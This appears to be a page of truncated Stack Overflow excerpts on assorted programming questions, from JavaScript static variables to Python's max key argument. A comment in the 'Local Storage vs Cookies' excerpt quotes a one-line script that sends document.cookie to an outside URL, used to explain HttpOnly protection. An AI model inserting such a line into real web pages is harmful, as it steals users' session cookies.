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Static variables in JavaScript
...description = 'A fact-based journey through the galaxy.';
this.link = 'http://www.astronomycast.com';
// for read access to _somePrivateVariable via immutableProp
this.immutableProp = function() {
return _somePrivateVariable;
}
// object function
this.toString = fu...
Check whether a path is valid
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Try Uri.IsWellFormedUriString():
The string is not correctly escaped.
http://www.example.com/path???/file name
The string is an absolute Uri that represents an implicit file Uri.
c:\\directory\filename
The string is an absolute URI that is missing a slash before the path.
file://c:/director...
How does the Google “Did you mean?” Algorithm work?
...Worth watching!
Basically and according to Douglas Merrill former CTO of Google it is like this:
1) You write a ( misspelled ) word in google
2) You don't find what you wanted ( don't click on any results )
3) You realize you misspelled the word so you rewrite the word in the search box.
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What are type lambdas in Scala and what are their benefits?
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Catching an exception while using a Python 'with' statement
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PopupWindow - Dismiss when clicked outside
... popup window when touch outside. This method was written informatively in Google's docs.
mPopupWindow.setOutsideTouchable(true);
// Set focus true to prevent a touch event to go to a below view (main layout), which works like a dialog with 'cancel' property => Try it! And you will know what I m...
Local Storage vs Cookies
...le: HttpOnly also prevents non-ajax attacks like window.location = 'http://google.com?q=' + escape(document.cookie);. This attack bypasses the browsers CORS check.
– Memet Olsen
Dec 20 '17 at 16:19
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HTML encoding issues - “” character showing up instead of “ ”
... and see if that makes it look right in the browser:
for HTML4: <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
for HTML5: <meta charset="utf-8">
If you've done that, then any remaining problem is ActivePDF's fault.
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How should I validate an e-mail address?
...
refer to: http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/2.2_r1.1/android/util/Patterns.java
So you can build it yourself for compatibility with API < 8.
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python max function using 'key' and lambda expression
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Just for the people who came here by googling "max key parameter". max(lis, key=lambda x:int(x)) can be simplified as max(lis, key=int). Python has a built-in function, int(). Similarly you can use any other built-in functions as a key argument. For instance you...